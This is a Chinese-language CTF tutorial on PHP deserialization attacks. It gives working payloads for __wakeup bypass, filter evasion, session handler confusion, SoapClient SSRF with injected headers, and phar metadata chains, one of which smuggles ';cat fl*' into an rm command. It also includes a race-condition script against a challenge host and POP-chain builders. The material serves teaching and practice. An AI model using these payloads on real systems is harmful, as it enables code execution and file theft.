iami233
iami233
文章175
标签37
分类4

文章分类

文章归档

浅谈PHP反序列化漏洞

浅谈PHP反序列化漏洞

写在前面

PHP是一门 面向对象 编程的语言,对象是PHP中非常常见的概念,几乎所有的数据类型都可以作为对象来处理。
在PHP中,对象是一种复合数据类型,也称为 实例。对象的定义和创建通常包括两个步骤:定义类创建对象

1
2
3
4
// 定义类
class ClassName {
// 这里是类的属性和方法定义
}

1
2
// 创建对象
$obj = new ClassName()

在PHP中,可以通过序列化(serialize)和反序列化(unserialize)来保存和恢复对象。序列化是将对象转换为一种可以存储或传输的格式,反序列化则是将数据转换回对象。

如果反序列化过程中用户对某些参数可控,从而控制内部的变量设置函数,那就可以利用反序列化构造攻击。

1
2
serialize()     //将一个对象转换成字符串
unserialize() //将字符串还原成一个对象

魔术方法

PHP类中有一种特殊函数体的存在叫魔术方法,它的命名是以两个下划线符号 __ 开头的,后面跟着一个字符串,比如 __toString()

1
2
3
4
5
6
7
8
9
10
11
12
__construct()   // 每次创建新对象时先调用此方法
__wakeup() // 执行unserialize()时,先会调用这个函数
__sleep() // 执行serialize()时,先会调用这个函数
__destruct() // 对象被销毁时触发
__call() // 在对象上下文中调用不可访问的方法时触发
__callStatic() // 在静态上下文中调用不可访问的方法时触发
__get() // 用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() // 用于将数据写入不可访问的属性
__isset() // 在不可访问的属性上调用isset()或empty()触发
__unset() // 在不可访问的属性上使用unset()时触发
__toString() // 把类当作字符串使用时触发
__invoke() // 当尝试将对象调用为函数时触发

访问控制符

\x00为空字符,一个空字符长度为 1

1
2
3
public (公有)          // 序列化后格式 属性名
protected (受保护) // 序列化后格式 \x00*\x00属性名
private (私有) // 序列化后格式 \x00类名\x00属性名

举个例子

1
2
3
4
5
6
7
8
9
<?php
class info{
public $name = "iami233";
protected $age = "18";
private $sex = "unknown";
}

$test = new info;
echo serialize($test);

如果生成的序列化字符串较长或者包含 protectedprivate 属性,强烈建议使用 urlencode() 编码一下在输出

当版本为 PHP > 7.1 时反序列化对类属性不敏感,将 protected 改成 public 亦可。

1
2
O:4:"info":3:{s:4:"name";s:7:"iami233";s:6:"\x00*\x00age";s:2:"18";s:8:"\x00ctf\x00sex";s:7:"unknown";}
// O:对象名的长度:"对象名":对象属性个数:{s:属性名的长度:"属性名";s:属性值的长度:"属性值";}

反序列化特性

  1. 反序列化的过程就是碰到 ;}与最前面的 { 配对后,便停止反序列化,后面的数据会直接丢弃。
  2. 反序列化的过程会根据 s 所指定的 字符长度 去读取后边的字符。如果指定的长度错误则反序列化就会失败。
  3. 类中不存在的属性也会进行反序列化。

bypass

wakeup绕过

PHP5 < 5.6.25PHP7 < 7.0.10

CVE-2016-7124 当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过 __wakeup 的执行,

1
O:4:"info":3:{s:4:"name";s:7:"iami233";s:6:"\x00*\x00age";s:2:"18";s:8:"\x00ctf\x00sex";s:7:"unknown";}

原本 info 的对象属性个数为 3 ,我们直接改为 4 即可绕过 __wakeup

1
O:4:"info":4:{s:4:"name";s:7:"iami233";s:6:"\x00*\x00age";s:2:"18";s:8:"\x00ctf\x00sex";s:7:"unknown";}

16进制绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class Test{
public $username;
public function __construct(){
$this->username = 'iami233';
}
public function __destruct(){
echo 'success';
}
}
function check($data){
if(preg_match('/username/', $data)){
echo("nonono!!!</br>");
}
else{
return $data;
}
}

var_dump(unserialize(check($_GET[1])));

序列化字符串中过滤了一些字符串,可以使用十六进制绕过

1
O:4:"Test":1:{S:8:"username";s:6:"iami233";}

字符类型的 s 大写时,会被当成 16 进制解析,\75u 的16进制,

1
O:4:"Test":1:{S:8:"\75sername";s:6:"iami233";}

绕过正则表达式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

class Test {
public $a;

public function __construct() {
$this->a = 'win!';
}

public function __destruct() {
echo $this->a.PHP_EOL;
}
}

function filter($data) {
if (preg_match('/^O:\d+:/', $data)) {
die('Invalid input!');
}

}

var_dump(filter(unserialize($_GET[1])));

像这种,我们正常生成序列化后的数据如下所示

1
O:4:"Test":1:{s:1:"a";s:4:"win!";}

如果进行传参的话,filter() 不允许 O:[数字] 开头,这种情况下,我们可以利用以下的方法进行绕过

  • 利用加号绕过(注意在url里传参时+要编码为%2B)
  • 利用数组对象绕过,如 serialize(array($a)); a为要反序列化的对象(序列化结果开头是a,不影响作为数组元素的 $a 的析构)
1
2
3
4
5
6
// 加号绕过
O:+4:"Test":1:{s:1:"a";s:4:"win!";}
// 数组绕过
// $flag = new Test();
// echo serialize(array($flag));
a:1:{i:0;O:4:"Test":1:{s:1:"a";s:4:"win!";}

引用绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class test {
public $a;
public $b;
public function __construct(){
$this->a = 'aaa';
}
public function __destruct(){

if($this->a === $this->b) {
echo 'you success';
}
}
}
if(isset($_GET['input'])) {
if(preg_match('/aaa/', $_GET['input'])) {
die('nonono');
}
unserialize($_GET['un']);
}else {
highlight_file(__FILE__);
}

像这种,我们直接通过引用变量的方式进行绕过即可

1
$this->b = &$this->a;

绕过异常 throw new Error()

throw 的作用会阻断 __destruct() 的执行,例题可以参考 贵阳大数据及网络安全精英对抗赛 2023 POP 一题

参考:fast destruct 提前触发魔术方法

本质上,fast destruct 是因为 unserialize 过程中扫描器发现序列化字符串格式有误导致的提前异常退出,为了销毁之前建立的对象内存空间,会立刻调用对象的 __destruct(), 提前触发反序列化链条。

1
O:2:"TT":2:{s:3:"key";O:2:"JJ":1:{s:3:"obj";O:2:"MM":2:{s:4:"name";s:6:"system";s:1:"c";s:9:"cat /flag";}}s:1:"c";N;}

去掉序列化尾部 }

1
O:2:"TT":2:{s:3:"key";O:2:"JJ":1:{s:3:"obj";O:2:"MM":2:{s:4:"name";s:6:"system";s:1:"c";s:9:"cat /flag";}}s:1:"c";N

[极客大挑战 2019] PHP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
// 在创建对象时候初始化对象,一般用于对变量赋初值。
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
// 反序列化恢复对象之前调用该方法
$this->username = 'guest';
}
function __destruct(){
// 当对象所在函数调用完毕后执行
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>

代码逻辑就是如果密码等于 100 同时用户名等于 admin ,执行 __construct 的时候输出 flag。 直接构建反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$flag = new Name('admin', 100);
echo serialize($flag);

// O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

就目前来看我们已经把 __construct__destruct 绕过去了,但是 __wakeup 会把我们的 username 重新赋值为 guest ,我们直接用上面提到的 __wakeup 绕过方法,把 "Name":2 改为 "Name":3

1
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

但我们这里访问控制是私有 Private ,所以我们需要在类名和成员名之前加上 %00 ,达到绕过目的。

1
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

Session 反序列化

PHP在 session 存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取 $_SESSION 数据,都会对数据进行序列化和反序列化

php.ini 中通常存在以下配置项:

  • session.save_path 设置session的存储路径
  • session.save_handler 设定用户自定义存储函数
  • session.auto_start 指定会话模块是否在请求开始时启动一个会话
  • session.serialize_handler 定义用来序列化/反序列化的处理器名字。默认使用 php

存储引擎

不同的引擎所对应的 session 的存储方式不相同。

1
2
3
4
5
6
7
8
<?php
ini_set('session.serialize_handler', 'php');
// ini_set("session.serialize_handler", "php_serialize");
// ini_set("session.serialize_handler", "php_binary");

session_start();
$_SESSION['name'] = 'iami233';
var_dump($_SESSION);
引擎存储方式示例
php键名 + 竖线 + 经过 serialize() 函数序列化处理的值`name
php_binary键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数序列化处理的值names:7:"iami233";
php_serialize经过 serialize() 函数序列化处理的数组a:1:{s:4:"name";s:7:"iami233";}

举个例子

我们新建一个 1.php 文件,使用 php_serialize 引擎

1
2
3
4
5
<?php
ini_set("session.serialize_handler", "php_serialize");

session_start();
$_SESSION['name'] = '|O:4:"Name":1:{s:3:"rce";s:10:"phpinfo();";}';

访问 localhost/1.php 后生成的 session 文件内容文件为:

1
a:1:{s:4:"name";s:44:"|O:4:"Name":1:{s:3:"rce";s:10:"phpinfo();";}";}

php 序列化引擎以 | 作为 keyvalue 的分隔符,只反序列化 | 后面的内容 所以我们需要在前面加个 |,这样 a:1:{s:4:"name";s:44:" 被当做了 key ,而 O:4:"Name":1:{s:3:"rce";s:10:"phpinfo();";}";} 被当做了 value

再新建一个 2.php 文件,不声明引擎的话,默认是 php

1
2
3
4
5
6
7
8
9
<?php
session_start();
class Name {
public $rce;
function __destruct() {
eval($this->rce);
}
}
?>

此时访问 localhost/2.php 即可执行 phpinfo() 函数

原生类 反序列化

比较常见的为 SoapClient() 类,不过这里也记录一下其他见过的原生类

Error/Exception XSS

Error 类是在 php7 下存在的一个内置类,是所有PHP内部错误类的基类。Error 类中存在 __toString(),当把对象当成字符串的时候它就会自动调用这个方法,而它会将 Error 以字符串的形式表达出来

1
2
3
<?php
$a = serialize(new Exception("<script>alert(1)</script>"));
echo $a;

Tips: Exception 原理一致,但其在 php5 中也能使用

SplFileObject 读文件

1
2
3
<?php
$a = new SplFileObject("flag.txt");
echo $a;

Tips:SplFileObject 读取文件内容时是按行读取的,如果要读多行需要遍历,或者也可以通过 php://filter/ 协议 Base64 编码后输出。

DirectoryIterator 遍历目录

1
2
3
4
5
<?php
$a = new DirectoryIterator(".");
foreach ($a as $b) {
echo $b->getFilename() . "\n";
}

FilesystemIterator 遍历目录

1
2
3
4
5
<?php
$a = new FilesystemIterator(".");
foreach ($a as $b) {
echo $b->getFilename() . "\n";
}

SoapClient SSRF

  1. 需要有 soap 扩展,需要手动开启该扩展。
  2. 需要调用一个不存在的方法触发其 __call() 函数。
  3. 仅限于 http / https 协议

利用原生类 SoapClient 实现 SSRF ,构造 SoapClient 的类对象,需要有两个参数,字符串 $wsdl 和数组 $options,详见 PHP: SoapClient

1
public __construct(?string $wsdl, array $options = [])

options 传入我们要构造的请求头, urilocation 必须设置

[CTF Show Web入门] Web259

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);

if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}

$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

调用了一个不存在的函数 getFlag() 会去调用 __call 魔术方法, __call 会发送一个请求,我们可以本地通过 nc 监听端口搭配 PHPStudy 来构造调试,发现 ua 头可以注入。

注意的点:

  1. iparray_pop 两次以 , 分割
  2. token=ctfshow 长度为 13 且为 POST 提交
  3. 请求头之间的参数用 \r\n 分隔
  4. 请求头与请求体之间用 \r\n\r\n 分隔
1
2
3
4
5
6
7
8
<?php
$client = new SoapClient(null, array(
'location' => "http://127.0.0.1/flag.php",
'user_agent' => "test\r\nX-Forwarded-For:127.0.0.1,1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow",
'uri' => "http://127.0.0.1/",
));

echo urlencode(serialize($client));

发送 payload 后访问 flag.txt 即可

1
?vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A119%3A%22test%0D%0AX-Forwarded-For%3A127.0.0.1%2C1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

Phar 反序列化

Pharphp 压缩文档。它可以把多个文件归档到同一个文件中,而且不经过解压就能被 php 访问并执行,与 file://php:// 等伪协议类似,也是一种流包装器。

Phar 文件存储的 meta-data 信息以 序列化 方式存储,当文件操作函数通过 phar:// 伪协议解析 Phar 文件时就会将数据反序列化。

要想使用 Phar 类里的方法,必须将 php.ini 文件中的 phar.readonly 配置项配置为 0Off(默认为 On

这里提供一个 phar 包生成代码,phar 文件是很容易绕过上传限制的,首先它的后缀是不限制的,无论改成什么 phar:// 协议都可以解析,其次 xxx<?phpxxx; __HALT_COMPILER();?> 前面内容不限,这样可以在前面添加 GIF98a 这样的文件头绕过上传限制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//实例一个phar对象供后续操作
$phar = new Phar('test.phar');

//开始缓冲Phar写操作
$phar->startBuffering();

//设置stub
$phar->setStub("<?php __HALT_COMPILER(); ?>");

//以字符串的形式添加一个文件到 phar 档案
$phar->addFromString('test.php','<?php echo 'this is test file';');

//把一个fileTophar目录下的文件归档到phar档案
$phar->buildFromDirectory('fileTophar');

//该函数解压一个phar包,extractTo()提取phar文档内容
$phar->extractTo();

当环境限制了phar不能开头,可以使用以下伪协议绕过

1
2
3
compress.bzip2://phar://test.phar/test.txt
compress.zlib://phar://test.phar/test.txt
php://filter/resource=phar://test.phar/test.txt

[CTFShow Web入门] Web276

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public $admin = false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile && $this->admin){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}

}else{
echo 'where is flag?';
}

this->admin 需要为 ture,但是没有能控制的点。

发现可以通过 file_put_contents 写 phar 文件,然后题目中 file_put_contents 第一个参数可控,那么我们可以使用 phar:// 协议,通过 $content 传入 phar 数据,这样在 PHP 通过 phar:// 协议解析数据时,会将 meta-data 部分进行反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class filter
{
public $filename = ';cat fl*';
public $evilfile = true;
public $admin = true;
}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new filter();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

条件竞争

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import time
import threading
success=False
#读取phar包内容
def getPhar(phar):
with open(phar,'rb') as p:
return p.read()
#写入phar包内容
def writePhar(url,data):
print("[-]writing")
requests.post(url,data)
#触发unlink的phar反序列化
def unlinkPhar(url,data):
global success
res = requests.post(url,data)
if 'ctfshow' in res.text and success is False:
print("[*]Over!")
print(res.text)
success = True
def main():
global success
url= 'http://c71e4a00-e45a-44d8-a9a0-7791b43e4bf8.challenge.ctf.show/'
phar = getPhar('phar.phar')
while success is False:
time.sleep(.5)
w= threading.Thread(target=writePhar,args=(url+'?fn=phar.phar',phar))
u= threading.Thread(target=unlinkPhar,args=(url+'?fn=phar://phar.phar/test','1'))
w.start()
u.start()
if __name__ == '__main__':
main()

除了 file_put_contents 外,会把 phar 反序列化的函数还有:

受影响的函数列表
filenamefilectimefile_existsfile_get_contents
file_put_contentsfilefilegroupfopen
fileinodefilemtimefileownerfileperms
is_diris_executableis_fileis_link
is_readableis_writableis_writeableparse_ini_file
copyunlinkstatreadfile

字符串逃逸

如果当开发者先将对象 序列化 ,然后将对象中的字符进行 过滤 ,最后再进行 反序列化。这个时候就有可能会产生PHP反序列化字符逃逸的漏洞。

字符串逃逸基本就是两种情况,字符变多or字符变少,总之本地多调试吧…

字符变多

  1. 看过滤,判断字符变多还是字符变少,计算变化个数
  2. 一个字符,构造过滤字符的个数为构造的字符长度
  3. n个字符,构造过滤字符的个数为构造的字符长度/n

字符变少

  1. 构造想要的值正常序列化,拿到最终的逃逸字符
  2. 逃逸字符前任意字符+双引号闭合,传入要控制的值
  3. 根据需要逃逸的字符串的长度,传入对应的过滤字符

字符变多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
include('flag.php');
function filter($s) {
return str_replace('admin', 'hacker', $s);
}

class ctf{
public $username;
public $password;
public function __construct($username, $password){
$this -> username = $username;
$this -> password = $password;
}
public function __wakeup(){
if($this -> password == '88888888') {
echo $flag;
die;
}
echo 'Fake admin';
}
}

$u = $_GET['u'];
$p = $_GET['p'];

if (strpos($u, 'admin') !== false){
$data = new ctf($u, $p);
unserialize(filter(serialize($data)));
}

这段代码中 $u 必须包含 admin,然后把 admin 替换为 hacker 其次通过判断 password 是否等于 8888888 来判断是否输出 flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

function filter($s) {
return str_replace('admin', 'hacker', $s);
}

class ctf{
public $username;
public $password = '88888888';
public function __construct($username){
$this -> username = $username;
}
}

$u = 'admin';
$data = new ctf($u);

var_dump(filter(serialize($data)));

先给 username 赋值 admin ,然后把 password 改为 88888888,观察一下返回的数据

1
O:3:"ctf":2:{s:8:"username";s:5:"hacker";s:8:"password";s:8:"88888888";}

经过替换后 admin 变成了 hacker ,多出来了一个字符,但标记长度没有变化,还是 s:5 ,造成了实际长度大于标记长度的情况,从而反序列化失败。

同时我们发现后面我们需要构造的字符 ";s:8:"password";s:8:"88888888";} 长度为 33 ,由于过滤规则每次替换增加 1 个字符,所以我们需要 33admin

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

function filter($s) {
return str_replace('admin', 'hacker', $s);
}

class ctf{
public $username = 'adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:8:"88888888";}';
public $password = '88888888';
}

$a = filter(serialize(new ctf()));
echo $a;

得到如下字符串,

1
O:3:"ctf":2:{s:8:"username";s:198:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:8:"88888888";}";s:8:"password";s:8:"88888888";}

我们发现 hacker 正好是 198 个字符,而 password 也变成了我们想要的 88888888

字符变少

简单改一下上题的代码,admin 替换为 hack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
include('flag.php');
function filter($s) {
return str_replace('admin', 'hack', $s);
}

class ctf{
public $username;
public $password;
public function __construct($username, $password){
$this -> username = $username;
$this -> password = $password;
}
public function __wakeup(){
if($this -> password == '88888888') {
echo $flag;
die;
}
echo 'Fake admin';
}
}

$u = $_GET['u'];
$p = $_GET['p'];

if (strpos($u, 'admin') !== false){
$data = new ctf($u, $p);
unserialize(filter(serialize($data)));
}

思路同上,先输出一下 serialize 后的数据

1
O:3:"ctf":2:{s:8:"username";s:4:"hack";s:8:"password";s:8:"88888888";}

发现 admin 变成了 hack ,但是标记长度没有变化,还是 s:4 ,造成了实际长度小于标记长度的情况,我们每增加一个 admin 匹配替换后就减少 1 个字符,我们要做的就是让他往后去吞噬一些我们构造的代码,这样就可以构造出我们想要的代码了。

这样是我们想要构造的代码

1
";s:8:"password";s:8:"88888888";}

我们把它传入 password 中观察返回数据

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

function filter($s) {
return str_replace('admin', 'hack', $s);
}

class ctf{
public $username = 'admin';
public $password = '";s:8:"password";s:8:"88888888";}';
}

$a = filter(serialize(new ctf()));
echo $a;

得到如下字符串

1
O:3:"ctf":2:{s:8:"username";s:5:"hack";s:8:"password";s:33:"";s:8:"password";s:8:"88888888";}";}

所以我们需要吞噬的字符如下

1
";s:8:"password";s:33:"

由于每次匹配替换只会减少一个字符,所以我们需要构造一个长度为 23 的字符串,这样就可以吞噬到我们想要的代码了。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

function filter($s) {
return str_replace('admin', 'hack', $s);
}

class ctf{
public $username = 'adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin';
public $password = '";s:8:"password";s:8:"88888888";}';
}

$a = filter(serialize(new ctf()));
echo $a;

得到如下字符串

1
O:3:"ctf":2:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:33:"";s:8:"password";s:8:"88888888";}";}

POP链构造

目前在 CTF 竞赛中,基本遇到的 PHP 反序列化题目都是POP链构造。POP 大家可以当成 Misc 中的套娃题,需要多次利用魔法方法实现跳转最后实现恶意的代码,从方法到方法的跳转的精妙构造,最后看起来的效果就像一条链子一样,所以我们叫它 POP链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
highlight_file(__FILE__);

class blue
{
public $b1;
public $b2;

function eval() {
echo new $this->b1($this->b2);
}

public function __invoke()
{
$this->b1->blue();
}
}

class red
{
public $r1;

public function __destruct()
{
echo $this->r1 . '0xff0000';
}

public function execute()
{
($this->r1)();
}

public function __call($a, $b)
{
echo $this->r1->getFlag();
}

}

class white
{
public $w;

public function __toString()
{
$this->w->execute();
return 'hello';
}
}
class color
{
public $c1;

public function execute()
{
($this->c1)();
}

public function getFlag()
{
echo file_get_contents($this->c1);
}

}

unserialize($_POST['cmd']);

大家在做 POP链 构造题目时,可以找到前面的常见魔术方法,进行一一对应,同时建议手动写出整个链条的构造,如下所示:

1
unserialize()->red->__destruct()->white->__toString()->color->run()->blue->__invoke()->red->__call()->color->get_flag()->file_get_contents()

unserialize() 会去调用 red 类的 __destruct() 方法,由于方法中的 echo $this->r1 . '0xff0000'; 把这个对象当成了字符串,所以调用了 white 类的 __toString() 方法,然后再调用 color 类里的 execute() 方法,然后在 execute() 方法里把这个对象当成了方法使用,所以就去调用了 blue 类的 __invoke() 方法,又因为在 __invoke() 方法里再次调用了一个不存在的 blue 方法,接着就会去调用 red 类里的 __call 方法,最后去调用 color 类里的 getFlag() 方法,然后我们根据 POP链 开始构造代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

class blue
{
public $b1;
public $b2;
}

class red
{
public $r1;
}

class white
{
public $w;
}
class color
{
public $c1;

}

$f = new red();
$f -> r1 = new white();
$f -> r1 -> w = new color();
$f -> r1 -> w -> c1 = new blue();
$f -> r1 -> w -> c1 -> b1 = new red();
$f -> r1 -> w -> c1 -> b1 -> r1 = new color();
$f -> r1 -> w -> c1 -> b1 -> r1 -> c1 = 'flag.php';
echo "\n";
echo(urlencode(serialize($f)));
echo "\n";
// O%3A3%3A%22red%22%3A1%3A%7Bs%3A2%3A%22r1%22%3BO%3A5%3A%22white%22%3A1%3A%7Bs%3A1%3A%22w%22%3BO%3A5%3A%22color%22%3A1%3A%7Bs%3A2%3A%22c1%22%3BO%3A4%3A%22blue%22%3A2%3A%7Bs%3A2%3A%22b1%22%3BO%3A3%3A%22red%22%3A1%3A%7Bs%3A2%3A%22r1%22%3BO%3A5%3A%22color%22%3A1%3A%7Bs%3A2%3A%22c1%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7Ds%3A2%3A%22b2%22%3BN%3B%7D%7D%7D%7D

写在后面

这篇文章从去年七月底就开始写了,因为参加比赛/攻防演练耽误了好长时间,导致思路断断续续…陆陆续续想起来就总结一下2333,文章提到的都很浅薄,总之多练习

本文作者:iami233
本文链接:https://5ime.cn/unserialize.html
版权声明:本文采用 CC BY-NC-SA 3.0 CN 协议进行许可